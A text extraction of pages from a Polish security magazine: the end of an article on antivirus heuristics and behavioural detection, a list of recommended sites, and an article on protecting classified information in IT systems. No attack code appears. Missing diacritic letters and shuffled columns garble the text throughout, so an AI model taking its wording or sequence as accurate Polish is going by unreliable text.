przez zachowania. Unikamy w ten sposb problemw wynikajcych z rnic w kodzie, ktre szczeglnie widoczne s w przypadku programw wygenerowanych przez kompilatory jzykw wysokiego poziomu (Rysunek 3). Co wicej, zmiany wprowadzane w kolejnych wersjach niebezpiecznego oprogramowania zwykle w niewielki sposb zmieniaj jego zachowanie, gdy autorzy zwikszaj, co najwyej, funkcjonalno programu. Przykadowo, wykorzystujc emulator moemy stwierdzi, e program wykonuje podejrzan sekwencj wywoa systemowych i okreli obiekt jako nowego wirusa lub jako odmian istniejcego. Wikszo wirusw dziaajcych pod Windows na pocztku dziaania pobiera z systemu adresy funkcji, ktre bd wykorzystywane. Zakadajc, e adres 0x77e60000 jest adresem biblioteki KERNEL32.DLL w pamici procesu, pobieranie listy wyglda nastpujco (wynik programu TraceApi na wirusie Win32.Miam). Patrz Listing 4. Pobranie adresw wykorzystywanych funkcji API jest dla wirusa niezbdne w sytuacji, gdy chce on skorzysta z funkcji systemowych, ktre nie znajduj si w Import Address Table infekowanego pliku. Sekwencje takie mona znale w wirusach asemblerowych i takie zachowanie wiadczy o dziaaniu doczonego do programu wirusa. Oczywicie heurystyczna klasyfikacja behawioralna moe dotyczy wszystkich czynnoci, ktre wykonuje analizowany program, a ktre mog by niebezpieczne. Najczciej monitorowanie behawioralne dotyczy typowych dziaa niebezpiecznych programw, jakimi s: modyfikacja plikw wykonywalnych, pobieranie i uruchamianie plikw z Internetu, wysyanie listw za pomoc wasnego silnika SMTP, modyfikacja rejestru, modyfikacja plikw systemowych, zabijanie procesw (np. programw antywirusowych),

62

hakin9 Nr 01/2008

www.hakin9.org

Heurystyka w programach antywirusowych

modyfikacja innych procesw, szpiegowanie klawiatury, nasuchiwanie na otwartych portach, praca programu bez widocznego okna.

Problemem dla monitorw behawioralnych mog by aplikacje wielowtkowe, poniewa monitor musi skupi si albo na czynnociach wykonywanych globalnie przez ca aplikacj, albo na czynnociach wykonywanych przez poszczeglne wtki. Wikszo wspczenie tworzonego niebezpiecznego oprogramowania dziaa jednak w jednym wtku. Monitory behawioralne posiadaj zwykle rozbudowywan baz faszywych alarmw, gdy niebezpieczne programy pisane w jzykach wysokiego poziomu charakteryzuj si pod wzgldem zachowania wysokim podobiestwem do plikw czystych. Przykadowo moduy autoaktualizacji programw s pod wzgldem zachowania bardzo podobne do popularnych downloaderw. Oprcz przeprowadzania skomplikowanej analizy zachowa, blokowane mog by wszystkie potencjalnie niebezpieczne akcje, takie jak wstrzykiwanie kodu do innych procesw i tworzenie w nich zdalnych wtkw czy automatyczne uruchamianie makr MS Office. Co wicej, niektre programy antywirusowe blokuj wykonanie przez uytkownika wszystkich skryptw (.vbs, .bat, .cmd), traktujc je jako potencjalnie niebezpieczne. Rwnie monitorowanie dostpu do rejestru staje si elementem programw antywirusowych. Wymaga jednak interaktywnego stwierdzenia, czy dana modyfikacja bya zamierzona, czy nie, co jest kopotliwe dla niedowiadczonego uytkownika.

nie ulegaj zmianie. Jeszcze kilka lat temu nie byo problemem monitorowanie zmian w plikach poprzez sprawdzenie zapamitanej poprawnej sumy kontrolnej. Wraz z upowszechnieniem Internetu wzrosa liczba aplikacji, ktre automatycznie aktualizuj si do najnowszych wersji, modyfikujc nie tylko pliki danych, ale te pliki wykonywalne. Take sam system operacyjny nie jest stay, ale modyfikowany za pomoc ukazujcych si mniej lub bardziej regularnie at. Uwzgldniajc fakt, e baza sum kontrolnych moe rwnie sta si celem ataku, monitorowanie zmian na podstawie sum kontrolnych jest coraz rzadziej stosowane. Sprawdzanie integralnoci dziaa jednak w przypadku heurystycznego wykrywania rootkitw, jak czyni to System Virginity Verifier. Analizuje on zmiany wprowadzone w pamici moduw systemowych i porwnuje je z poprawnymi wartociami odczytanymi z plikw (najlepiej podpisanych cyfrowo). Jeeli integralno moduw zostanie naruszona, prawdopodobne jest dziaanie rootkita, ktry zmodyfikowa system w celu ukrycia w nim obiektw.

Integralno plikw moemy sprawdzi dziki istnieniu coraz czciej stosowanych podpisw cyfrowych. Niektre programy antywirusowe nie potrafi przebi si przez warstwy zabezpieczajce plikw wykonywalnych i wszystkie takie pliki zgaszaj jako podejrzane. Jeeli jestemy twrcami oprogramowania i chcemy zabezpieczy program, jednoczenie nie przyprawiajc uytkownikw o palpitacje serca na skutek faszywego alarmu, program taki powinnimy podpisa. Firmy antywirusowe bd dziki temu mogy zidentyfikowa twrc programu i nie zgasza uytkownikowi zabezpieczenia jako podejrzanego. Sprawdzanie integralnoci stao si jednym z podstawowych mechanizmw bezpieczestwa w systemie Windows Vista. Wspomniany mechanizm Kernel Patch Protection sprawdza, czy nie zostay wprowadzone w systemie nielegalne zmiany: modyfikowanie tablicy usug systemowych (systfem service tables), modyfikowanie tablicy przerwa (IDT), modyfikowanie tablicy globalnych deskryptorw (GDT),

Sprawdzanie integralnoci

Najprostszym podejciem do heurystycznego wykrywania obecnoci niebezpiecznego oprogramowania jest zbadanie, czy okrelone obszary systemu (pliki, rejestr)

Rysunek 4. Wizualizacja robakw InTheWild wedug podobiestwa behawioralnego. Widzimy due skupienia okrelajce rodziny

www.hakin9.org

hakin9 Nr 01/2008

63

Obrona

uywanie w jdrze stosu, ktry nie zosta przydzielony przez jdro, atanie dowolnej czci jdra.

O autorze

Spraw dyskusyjn jest, czy mechanizm ten rzeczywicie zwiksza bezpieczestwo systemu. Modyfikowanie systemu operacyjnego byo od dawna stosowane przez programy zabezpieczajce, dziki czemu mogy one wykona dodatkowe sprawdzenia, ktre uniemoliwia sam system. Przykadowo dziaajcy w czasie rzeczywistym system analizy zachowa musi zintegrowa si z systemem, by bliej systemu ni niebezpieczne oprogramowanie, aby mg je kontrolowa. Istnienie Kernel Patch Protection uniemoliwia tak integracj. Chocia mechanizm ten zabezpieczy system przed niektrymi rootkitami, ich twrcy i tak s w stanie go omin, wykorzystujc nielegalne sztuczki. Sztuczek tych nie mog jednak stosowa producenci programw antywirusowych, dziki czemu zoliwe oprogramowanie uzyskuje nad zabezpieczajcym przewag. Redukujc moliwoci analizy behawioralnej Microsoft zmniejszy si heurystycznej detekcji najpopularniejszych zagroe, czyli dziaajcych w trybie uytkownika.

Jakub Dbski, starszy analityk w firmie ESET (producent programu NOD32), specjalizujcej si w ochronie proaktywnej z wykorzystaniem najbardziej zaawansowanych mechanizmw analizy heurystycznej. Wczeniej wieloletni pracownik polskich firm antywirusowych. By kierownikiem projektu silnika mks_vir, nastpnie ArcaVir. Studia na Wojskowej Akademii Technicznej ukoczy obron pracy dyplomowej na temat wykorzystania sieci neuronowych w detekcji zagroe internetowych. Kontakt z autorem:debski.jakub@wp.pl

Wykrywanie anomalii

Kiedy mwimy o heurystycznej detekcji niebezpiecznego oprogramowania, moemy wyrni dwa typy klasyfikacji, ktre faktycznie s wykrywaniem anomalii: wszystko, co nie jest podobne do normalnego programu, jest niebezpieczne, wszystko, co jest podobne do niebezpiecznego programu, jest niebezpieczne.

plikw bezpiecznych od zainfekowanych. W momencie, gdy autorzy zoliwych programw przerzucili si na jzyki wysokiego poziomu, programy bezpieczne i niebezpieczne stay si zbyt podobne, by mona je byo atwo rozrni. Twrcom heurystyk pozostao poszukiwanie podobiestw zoliwych programw do innych zoliwych programw. Co to oznacza? Wspczenie nie jest moliwe wykrycie cakowicie nowego typu zagroenia, gdy nie ma ono cech wsplnych z ju istniejcymi. Na szczcie dla uytkownikw (i twrcw programw antywirusowych), autorzy zoliwych programw wprowadzaj w kolejnych wersjach niewielkie zmiany, bazuj na istniejcych rozwizaniach i uywaj do zabezpieczenia plikw popularnych narzdzi. Dziki temu nowe zagroenia posiadaj wiele cech wsplnych na wszystkich poziomach, od podobiestwa binarnego, a do podobiestwa opisanego w domenie zachowa (Rysunek 4). Ju po otrzymaniu jednej prbki program antywirusowy, wykorzystujcy zaawansowan heurystyk, jest w stanie wykry wszystkie warianty tego zagroenia.

dopodobiestwo wykrycia takiego zagroenia przy uyciu uoglnionego wzorca. Co wicej, na skutek dostpnoci darmowych lub testowych wersji programw antywirusowych, autor nowego programu moe sprawdzi, czy jest on wykrywany metodami heurystycznymi. W takim przypadku moe modyfikowa go do czasu, a przestanie by uznawany za podejrzany. Istniej rwnie serwisy online skanujce plik du liczb silnikw antywirusowych, takie jak Jotti's malware scan czy VirusTotal, z ktrych twrca robaka czy trojana moe skorzysta. Z tego powodu firmy antywirusowe trzymaj w rkawie kilka asw, jakimi s niedostpne oglnie mechanizmy detekcji, ktre umoliwiaj wczesne wykrycie nowego zagroenia i dostarczenie prbki do firmy w celu byskawicznego przygotowania remedium.

Podsumowanie

Oszukiwanie heurystyki

Pierwszy rodzaj wykrywania anomalii by skuteczny w przypadku infektorw plikw. Wykrywanie polimorfizmu i metamorfizmu, nietypowej budowy plikw czy kodu asemblerowego w punkcie wejcia programu pozwalao na odrnienie

Teoretycznie detekcja niebezpiecznego programu, ktrego autor postara si, eby program nie by wykryty, jest bardzo trudna. W sytuacji, gdy autor zoliwego programu napisze go od podstaw, nie wzorujc si na istniejcych rozwizaniach, istnieje do nika szansa, e algorytm heurystyczny go wykryje. Jeszcze mniejsze jest praw-

Heurystyka w programach antywirusowych ewoluuje wraz z zagroeniami. Programy antywirusowe od kilku lat nie su jedynie do wykrywania i usuwania wirusw komputerowych, ale skupiaj si na ochronie uytkownika przed szerokim wachlarzem atakw. Stay si pakietami zabezpieczajcymi przed zoliwym oprogramowaniem, wamaniami, phishingiem, rootkitami, a nawet spamem. Do ich wykrycia mog wykorzysta albo wzorce, albo mechanizmy prewencyjne, jakimi s wspczenie heurystyki. Co jest skuteczniejsze? Wiadomo lepiej zapobiega, ni leczy. l

64

hakin9 Nr 01/2008

www.hakin9.org

Strony rekomendowane

Misj serwisu jest zaprezentowanie jzykw programowania oraz uatwienie uytkownikowi ich szybkiej nauki.

http://www.cjp.xt.pl

Strona internetowa firmy Fit Consulting specjalizujcej si w nowoczesnych rozwizaniach informatycznych, zaczynajc od sprzeday sprztu komputerowego i wiadczeniu usug po zaawansowane rozwizania zarzdzania przedsibiorstwem. http://www.fit-consulting.pl/

Portal powicony technikom programowania oraz sposobom ochrony przed zagroeniami jakie pyn z Internetu. Przedstawione techniki su do celw edukacyjnych, nie naley ich wykorzystywa w niewaciwy sposb. http://www.hackerzy.pl

Witryna powicona w caoci tematyce hakingu. Pocztkujcy w tej dziedzinie znajd na niej dziay, ktore im umoliwi rozpoczcie nauki. http://www.haker.ocom.pl/

Do niedawna termin hacking by zarezerwowany tylko dla profesjonalistw. Na tym portalu mona dowiedzie si wicej o tym zagadnieniu. Znajduj si na nim rwnie aktualnoci i obszerny dzial downloads. http://www.hakerczat.prv.pl/index.html

Strona firmy wiadczcej profesjonalne usugii IT, specjalizujcej si w wypoyczaniu serwerw i macierzy. Firma prowadzi take centrum szkoleniowe. http://www.itlpolska.pl

Jest to portal dla wszystkich co interesuj si tematyk bezpieczestwa, audytem, IT Governance w sieciach i systemach teleinformatycznych, a take ochron danych. http://www.locos.pl/

Portal internetowy powicony w caoci brany IT. Podzielony jest na trzy dziay powicone sprztowi komputerowemu, grom i rozrywce oraz najnowszym aplikacjom. http://www.pcarena.pl/index.php

Strona koa naukowego PK IT Security Group. Koo ma na celu dostarczanie informacji zwizanych z bezpieczestwem. http://www.pkitsec.pl/

Misj serwisu jest dostarczenie duej iloci informacji z zakresu informatyki. Znajduj si na nim ciekawe artykuy, najwiesze informacje z rynku IT, recenzje ksiek jak i kursy tworzenia portali www. http://www.swww.pl/

Strona dla kadego webmastera i hackera. Jeli zawsze chciae stworzy swoj stron internetowej lub pozna haking od podszewki, to ten serwis ci w tym pomoe. http://web4u.neth.pl/

Serwis powicony brany IT oferujcy codzienne newsy, artykuy, recenzje magazynw, testy oraz forum dyskusyjne. http://www.webhat.pl/index.php

Strony rekomendowane

Bezpieczna Firma

Bezpieczestwo teleinformatyczne informacji niejawnych


Andrzej Guzik

stopie trudnoci

Metody ochrony informacji niejawnych przetwarzanych w systemach i sieciach teleinformatycznych, oprcz spenienia wymaga wynikajcych z przepisw prawa, wymagaj uwzgldnienia wytycznych sub ochrony pastwa dotyczcych bezpieczestwa teleinformatycznego.

agadnienie bezpieczestwa systemw teleinformatycznych nabiera coraz wikszego znaczenia, poniewa to w nich informacja jest coraz czciej przetwarzana i przechowywana. Pod pojciem bezpieczestwa teleinformatycznego informacji niejawnych naley rozumie ochron informacji niejawnych, ktre przetwarzane s w systemach i sieciach teleinformatycznych, przed utrat waciwoci gwarantujcych bezpieczestwo a w szczeglnoci przed utrat poufnoci, dostpnoci i integralnoci. Za bezpieczestwo przetwarzania informacji niejawnych w systemach i sieciach teleinformatycznych odpowiada kierownik jednostki organizacyjnej. Bezpieczestwo teleinformatyczne naley zapewni przed rozpoczciem oraz w trakcie przetwarzania informacji niejawnych. Rozdzia 10 Bezpieczestwo systemw i sieci teleinformatycznych ustawy o ochronie informacji niejawnych okrela podstawowe wymagania zwizane z elektronicznym przetwarzaniem informacji niejawnych. Szczegowe wymagania techniczne i organizacyjne zwizane z przetwarzaniem informacji niejawnych w systemach

i sieciach teleinformatycznych oraz sposb opracowywania dokumentacji bezpieczestwa teleinformatycznego okrela za rozporzdzenie Prezesa Rady Ministrw w sprawie podstawowych wymaga bezpieczestwa teleinformatycznego. Kierownik jednostki organizacyjnej dla kadego sytemu lub sieci teleinformatycznej, w ktrej przetwarza si informacje niejawne, powinien wyznaczy administratora sytemu i inspektora bezpieczestwa teleinformatycznego. Administrator systemu zgodnie z zapisami ustawy odpowiada za funkcjonowanie systemu lub sieci teleinformatycznej oraz za przestrzeganie zasad i wymaga bezpieczestwa systemw i sieci teleinformatycznych, natomiast inspek-

Z artykuu dowiesz si
jak zapewni bezpieczestwo informacjom niejawnym przetwarzanym w systemach i sieciach teleinformatycznych

Co powiniene wiedzie

zna podstawowe zasady ochrony informacji niejawnych

66

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczestwo informatyczne informacji niejawnych

tor bezpieczestwa teleinformatycznego, pracownik pionu ochrony, odpowiada za biec kontrol zgodnoci funkcjonowania systemu lub sieci teleinformatycznej ze szczeglnymi wymaganiami bezpieczestwa oraz za kontrol przestrzegania procedur bezpiecznej eksploatacji. Ustawa okrela rwnie wymagania dla osb odpowiedzialnych za bezpieczestwo teleinformatyczne. Stanowisko lub funkcj administratora sytemu albo inspektora bezpieczestwa teleinformatycznego mog peni osoby, ktre posiadaj obywatelstwo polskie, posiadaj powiadczenie bezpieczestwa odpowiednie do klauzuli informacji niejawnych przetwarzanych w systemach lub sieciach teleinformatycznych, ktre odbyy przeszkolenie w zakresie ochrony informacji niejawnych i specjalistyczne szkolenie z zakresu bezpieczestwa teleinformatycznego prowadzonego przez suby ochrony pastwa. Aktualnie kurs dla kandydatw na administratorw systemu i inspektorw bezpieczestwa teleinformatycznego trwa jeden dzie i kosztuje 250 zotych. Systemy i sieci teleinformatyczne, w ktrych przetwarza si informacje niejawne, podlegaj akredytacji przez suby ochrony pastwa. Dopuszczenie sytemu lub sieci teleinformatycznej do pracy nastpuje na podstawie

Rysunek 1. Bezpieczne stanowisko komputerowe wersja z obudow ekranujc dokumentacji bezpieczestwa teleinformatycznego, na ktr skadaj si szczeglne wymagania bezpieczestwa (SWB) i procedury bezpiecznej eksploatacji (PBE). W zalenoci od klauzuli informacji niejawnych przetwarzanych w systemie, ww. dokumentacja podlega uzgodnieniu lub zatwierdzeniu. W przypadku informacji niejawnych stanowicych tajemnic pastwow dokumentacja ta jest indywidualnie zatwierdzana przez waciw sub ochrony pastwa (Agencj Bezpieczestwa Wewntrznego lub Sub Kontrwywiadu Wojskowego), w terminie 30 dni od jej otrzymania. Natomiast w przypadku tajemnicy subowej niewniesienie zastrzee w terminie 30 dni od jej przedstawienia przez kierownika jednostki organizacyjnej subom ochrony pastwa upowania do rozpoczcia przetwarzania informacji niejawnych w systemie lub sieci teleinformatycznej. Dodatkowo dla systemw i sieci, w ktrych przetwarza si tajemnic pastwow, wymagany jest certyfikat akredytacji bezpieczestwa teleinformatycznego. Ww. certyfikat wydawany jest po przeprowadzeniu postpowa sprawdzajcych wobec osb majcych dostp do systemu lub sieci, po zatwierdzeniu przez waciw sub ochrony pastwa SWB i PBE oraz po przeprowadzeniu audytu bezpieczestwa systemu lub sieci teleinformatycznej. Ww. audyt ma na celu weryfikacj poprawnoci realizacji wymaga i procedur okrelonych w SWB i PBE.

Dokumentacja

Tabela 1. Zawarto dokumentu Szczeglne Wymagania Bezpieczestwa Lp. 1 2 3 4 5 6 7 Zawarto dokumentu SWB osoby odpowiedzialne za wdroenie rodkw zapewniajcych bezpieczestwo teleinformatyczne zadania osb odpowiedzialnych za bezpieczestwo teleinformatyczne granice i lokalizacja stref kontrolowanego dostpu oraz rodki ich ochrony rodki ochrony kryptograficznej, elektromagnetycznej, technicznej lub organizacyjnej systemu lub sieci teleinformatycznej inne zastosowane rodki ochrony zapewniajce bezpieczestwo teleinformatyczne informacji niejawnych zasady zarzdzania ryzykiem zasady szkolenia z zakresu bezpieczestwa teleinformatycznego osb odpowiedzialnych za bezpieczestwo teleinformatyczne oraz osb uprawnionych do pracy w systemie lub sieci teleinformatycznej

Dokumentacj bezpieczestwa teleinformatycznego, na ktr skadaj si SWB i PBE, opracowuje si po przeprowadzeniu analizy ryzyka z uwzgldnieniem warunkw charakterystycznych dla jednostki organizacyjnej, w ktrej maj by przetwarzane informacje niejawne. Analizy ryzyka mona dokona stosujc na przykad metody opisane w raporcie technicznym ISO/IEC TR 13335-3 Technika informatyczna Wytyczne do zarzdzania bezpieczestwem systemw informatycznych, Cz 3: Techniki zarzdzania bezpieczestwem systemw informatycznych. Raport przedstawia cztery warianty podejcia do analizy ryzyka: podejcie podstawowego poziomu

www.hakin9.org

hakin9 Nr 01/2008

67

Bezpieczna Firma

bezpieczestwa, podejcie nieformalne, szczegow analiz ryzyka i podejcie mieszane. Podstawowa rnica pomidzy nimi dotyczy stopnia szczegowoci analizy ryzyka. W oparciu o wyniki analizy ryzyka dobiera si zabezpieczenia. Zastosowane zabezpieczenia powinny by efektywne kosztowo i uwzgldnia wymagania wynikajce z przepisw prawa, wymagania biznesowe i wymagania bdce wynikiem analizy ryzyka. Ryzyko, jakie powstaje po wprowadzeniu zabezpiecze, nazywamy ryzykiem szcztkowym. SWB powinny w sposb kompletny i wyczerpujcy opisywa budow, zasady dziaania i eksploatacji oraz charakterystyk sytemu lub sieci teleinformatycznej. Dane o systemie lub sieci teleinformatycznej powinny obejmowa: lokalizacj systemu, typ wykorzystywanych urzdze oraz oprogramowania, sposb realizacji pocze wewntrznych i zewntrznych, konfiguracj sprztow i ustawieLp. Procedury bezpieczestwa 1 2 3

Rysunek 2. Bezpieczne stanowisko komputerowe nie mechanizmw zabezpieczajcych oraz opis rodowiska eksploatacji (opis rodowiska globalnego, rodowiska lokalnego i rodowiska elektronicznego). Natomiast charakterystyka systemu lub sieci teleinformatycznej powinna okrela midzy innymi klauzul tajnoci informacji niejawnych, ktre bd w nich przetwarzane, kategorie uprawnie osb uprawnionych do pracy w systemie lub sieci w zakresie dostpu do przetwarzanych w nich informacji niejawnych (w zalenoci od klauzuli tajnoci tych informacji) oraz tryb bezpieczestwa pracy systemu lub sieci teleinformatycznej (dedykowany, systemowo-podwyszony lub wielopoziomowy). SWB opracowuje si w fazie projektowania, na bieco rozwija w fazie wdraania i modyfikuje w fazie eksploatacji przed dokonaniem zmian w systemie lub sieci teleinformatycznej. Z kolei PBE powinny opisywa sposb i tryb postpowania w sprawach zwizanych z bezpieczestwem informacji oraz okrela zakres odpowiedzialnoci uytkownikw systemu i sieci, a take pracownikw majcych do nich dostp. PBE opracowuje si i uzupenia w fazie wdraania oraz modyfikuje w fazie eksploatacji przed dokonaniem zmian w systemie lub sieci teleinformatycznej.

Tabela 2. Wykaz obowizkowych procedur bezpiecznej eksploatacji administrowania systemem lub sieci teleinformatyczn bezpieczestwa osobowego bezpieczestwa dokumentw i materiaw niejawnych, w tym procedur sporzdzania kopii z tych dokumentw oraz niszczenia dokumentw i ich kopii ochrony kryptograficznej, elektromagnetycznej, fizycznej, niezawodnoci transmisji, kontroli dostpu do urzdze systemu lub sieci teleinformatycznej bezpieczestwa urzdze i oprogramowania zapewnienia cigoci dziaania systemu lub sieci teleinformatycznej zarzdzania konfiguracj audytu bezpieczestwa

5 6 7 8

Tabela 3. Elementy bezpieczestwa teleinformatycznego informacji niejawnych Lp. Elementy bezpieczestwa teleinformatycznego informacji niejawnych 1 2 3 4 5 ochrona fizyczna kontrola dostpu do urzdze systemu lub sieci teleinformatycznej niezawodno transmisji ochrona kryptograficzna ochrona elektromagnetyczna

Podstawowe wymagania

Bezpieczestwo teleinformatyczne informacji niejawnych przetwarzanych w systemach lub sieciach teleinformatycznych zapewnia si poprzez: ochron fizyczn, ochron elektromagnetyczn, ochron kryptograficzn, niezawodno

68

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczestwo informatyczne informacji niejawnych

transmisji i kontrol dostpu do urzdze systemu lub sieci teleinformatycznej.

Ochrona fizyczna

Ochron fizyczn informacji niejawnych zapewnia si poprzez utworzenie stref kontrolowanego dostpu (strefa administracyjna, strefa bezpieczestwa, specjalna strefa bezpieczestwa) oraz zastosowanie rodkw ochrony zabezpieczajcych pomieszczenia w tych strefach. rodki ochrony fizycznej powinny zapewnia ochron fizyczn pomieszcze przed: nieuprawnionym dostpem, podsuchem i podgldem. Przy stosowaniu rodkw ochrony fizycznej obowizuje zasada adekwatnoci, tzn. rodki ochrony fizycznej powinny odpowiada klauzuli tajnoci i iloci informacji niejawnych, liczbie i poziomowi dostpu do tych informacji zatrudnionych osb oraz uwzgldnia wytyczne sub ochrony pastwa przed zagroeniami ze strony obcych sub specjalnych

Rysunek 4. Przykad pomieszczenia do przetwarzania informacji niejawnych (w tym take w stosunku do pastwa sojuszniczego). Strefa administracyjna powinna zapewnia kontrol osb i pojazdw, natomiast w strefie bezpieczestwa naley zapewni kontrol wej i wyj oraz kontrol przebywania. W tym celu naley wprowadzi system przepustek lub inny system kontroli dostpu uprawniajcy do wejcia

Rysunek 3. Przykady obudw ekranujcych

www.hakin9.org

hakin9 Nr 01/2008

69

Bezpieczna Firma

do strefy bezpieczestwa, a take zorganizowa system przechowywania kluczy do pomieszcze chronionych, szaf pancernych i innych pojemnikw sucych do przechowywania informacji niejawnych stanowicych tajemnic pastwow. rodki ochrony fizycznej powinny posiada certyfikaty i wiadectwa kwalifikacyjne przyznane na podstawie innych przepisw, np. w oparciu o polskie normy. Informacje niejawne o klauzuli zastrzeone mona przetwarza w strefie administracyjnej, natomiast informacje stanowice tajemnic pastwow i subow o klauzuli poufne mona przetwarza w strefie bezpieczestwa. Przetwarzanie informacji niejawnych o klauzuli zastrzeone wie si z zapewnieniem ochrony fizycznej, kontroli dostpu do urzdze systemu lub sieci teleinformatycznej oraz z zapewnieniem niezawodnoci transmisji. W przypadku przetwarzania informacji niejawnych stanowicych tajemnic pastwow i tajemnic subow o klauzuli poufne naley oprcz wymaga jak dla klauzuli zastrzeone zapewni ochron kryptograficzn i ochron elektromagnetyczn.

powiednich urzdze teleinformatycznych, tzw. bezpiecznych stanowisk komputerowych, ktre speniaj norm TEMPEST (Temporary Emanation and Spurious Transmission), pocze i linii o obnionym poziomie emisji, czy te wreszcie ekranowanie urzdze teleinformatycznych, pocze i linii z jednoczesnym filtrowaniem zewntrz-

nych linii zasilajcych i sygnaowych. Urzdzenia klasy TEMPEST wykonywane s w trzech klasach bezpieczestwa elektromagnetycznego: AMSG 720 B, AMSG 788, AMSG 784. rodki ochrony elektromagnetycznej powinny posiada certyfikat ochrony elektromagnetycznej wydany przez suby ochrony pastwa. List certyfikowanych

Podstawowe pojcia zwizane z bezpieczestwem teleinformatycznym


bezpieczestwo teleinformatyczne naley przez nie rozumie ochron informacji niejawnych przed utrat waciwoci gwarantujcych bezpieczestwo, w szczeglnoci przed utrat poufnoci, dostpnoci i integralnoci, incydent bezpieczestwa teleinformatycznego kade zdarzenie naruszajce bezpieczestwo teleinformatyczne, spowodowane w szczeglnoci awari systemu lub sieci teleinformatycznej, dziaaniem osb uprawnionych lub nieuprawnionych do pracy w tym systemie lub sieci albo zaniechaniem osb uprawnionych, akredytacja bezpieczestwa teleinformatycznego dopuszczenie systemu lub sieci teleinformatycznej do wytwarzania, przetwarzania, przechowywania lub przekazywania informacji niejawnych, certyfikat akredytacji bezpieczestwa teleinformatycznego dopuszczenie systemu lub sieci teleinformatycznej do przetwarzania informacji niejawnych stanowicych tajemnic pastwow, dokumentacja bezpieczestwa teleinformatycznego systemu lub sieci teleinformatycznej szczeglne wymagania bezpieczestwa oraz procedury bezpiecznej eksploatacji danego systemu lub sieci teleinformatycznej, sporzdzone zgodnie z zasadami okrelonymi w ustawie, szczeglne wymagania bezpieczestwa (SWB) dokument wyczerpujco opisujcy budow oraz zasady dziaania i eksploatacji systemu lub sieci teleinformatycznej, procedury bezpiecznej eksploatacji (PBE) dokument okrelajcy zasady i tryb postpowania w sprawach zwizanych z bezpieczestwem teleinformatycznym, a take zakres odpowiedzialnoci uytkownikw systemu lub sieci teleinformatycznej oraz personelu teleinformatycznego, administrator systemu osoba lub zesp osb odpowiedzialnych za funkcjonowanie systemw lub sieci teleinformatycznej oraz za przestrzeganie zasad i wymaga bezpieczestwa systemw i sieci teleinformatycznej, inspektor bezpieczestwa teleinformatycznego pracownik pionu ochrony odpowiedzialny za biec kontrol zgodnoci funkcjonowania systemu lub sieci teleinformatycznej ze SWB oraz za kontrol przestrzegania PBE.

Ochrona elektromagnetyczna

Ochrona elektromagnetyczna systemu lub sieci teleinformatycznej polega na niedopuszczeniu do utraty poufnoci i dostpnoci informacji niejawnych przetwarzanych w urzdzeniach teleinformatycznych. Utrata poufnoci nastpuje na skutek emisji ujawniajcej pochodzcej z tych urzdze. Natomiast utrata dostpnoci nastpuje w wyniku zakcenia pracy urzdze teleinformatycznych za pomoc impulsw elektromagnetycznych o duej mocy. Ochron elektromagnetyczn zapewnia si przez umieszczanie urzdze teleinformatycznych, pocze i linii w strefach kontrolowanego dostpu speniajcych wymagania w zakresie tumiennoci elektromagnetycznej lub przez zastosowanie od-

Podstawy prawne
Rozdzia 10 Bezpieczestwo systemw i sieci teleinformatycznych ustawa z dnia 22 stycznia 1999 roku o ochronie informacji niejawnych (Dz. U. z 2005 r. Nr 196, poz. 1631 ze zmianami). Rozporzdzenie Prezesa Rady Ministrw z dnia 25 sierpnia 2005 roku w sprawie podstawowych wymaga bezpieczestwa teleinformatycznego (Dz. U. Nr 171, poz. 1433). Zalecenia Departamentu Bezpieczestwa Teleinformatycznego Agencji Bezpieczestwa Wewntrznego w sprawie bezpieczestwa teleinformatycznego.

70

hakin9 Nr 01/2008

www.hakin9.org

Bezpieczestwo informatyczne informacji niejawnych

O autorze

Andrzej Guzik audytor systemw zarzdzania jakoci i zarzdzania bezpieczestwem informacji, specjalista w zakresie ochrony informacji prawnie chronionych, redaktor portalu www.ochronainformacji.pl Kontakt z autorem: a.guzik@ochronainformacji.pl

rodkw oraz ich producentw mona znale na stronie internetowej ABW (www.abw.gov.pl).

Ochrona kryptograficzna

ny przez suby ochrony pastwa. List certyfikowanych rodkw oraz ich producentw mona znale na stronie internetowej ABW.

nistrator systemu powinien okreli warunki oraz sposb przydzielania tym osobom kont i mechanizmw kontroli dostpu, a take zapewni ich waciwe wykorzystanie. Przy przetwarzaniu informacji niejawnych stanowicych tajemnic pastwow naley zadba o uniemoliwienie jednej osobie w sposb niekontrolowany dostpu do wszystkich zasobw systemu lub sieci teleinformatycznej.

Ochrona kryptograficzna informacji niejawnych, ktre przetwarzane s w systemie lub sieci teleinformatycznej, polega na zastosowaniu mechanizmw gwarantujcych ich poufno, integralno oraz uwierzytelnienie. Sia mechanizmw kryptograficznych musi by odpowiednia do klauzuli informacji niejawnych. Ochron kryptograficzn stosuje si w przypadku przekazywania informacji niejawnych w formie transmisji lub utrwalonych na elektronicznych nonikach informacji poza stref kontrolowanego dostpu. Ochron kryptograficzn stosuje si od klauzuli poufne wzwy. rodki ochrony kryptograficznej powinny posiada certyfikat ochrony kryptograficznej wyda-

Niezawodno transmisji

Podsumowanie

Niezawodno transmisji polega na zapewnieniu integralnoci i dostpnoci informacji niejawnych przekazywanych w systemach i sieciach teleinformatycznych. Zapewnia si j w szczeglnoci poprzez zapewnienie zapasowych czy telekomunikacyjnych.

Kontrola dostpu

W celu zapewnienia kontroli dostpu do systemu lub sieci teleinformatycznej kierownik jednostki organizacyjnej lub osoba przez niego upowaniona powinna ustali warunki i sposb przydzielania uprawnie osobom uprawnionym do pracy w systemie lub sieci teleinformatycznej. Natomiast admi-

Przepisy prawa okrelaj minimalne wymagania zwizane z bezpieczestwem teleinformatycznym informacji niejawnych. Oprcz nich naley uwzgldni zalecenia sub ochrony pastwa dotyczce bezpieczestwa teleinformatycznego informacji niejawnych oraz polskie normy dotyczce bezpieczestwa informacji. Normy te stanowi rdo tzw. dobrych praktyk, a w szczeglnoci s to: PN-ISO/IEC 17799: 2007 Technika informatyczna Techniki bezpieczestwa Praktyczne zasady zarzdzania bezpieczestwem informacji i PN-ISO/IEC 27001: 2007 Technika informatyczna Techniki bezpieczestwa Systemy zarzdzania bezpieczestwem informacji Wymagania. l

Ksigozbir

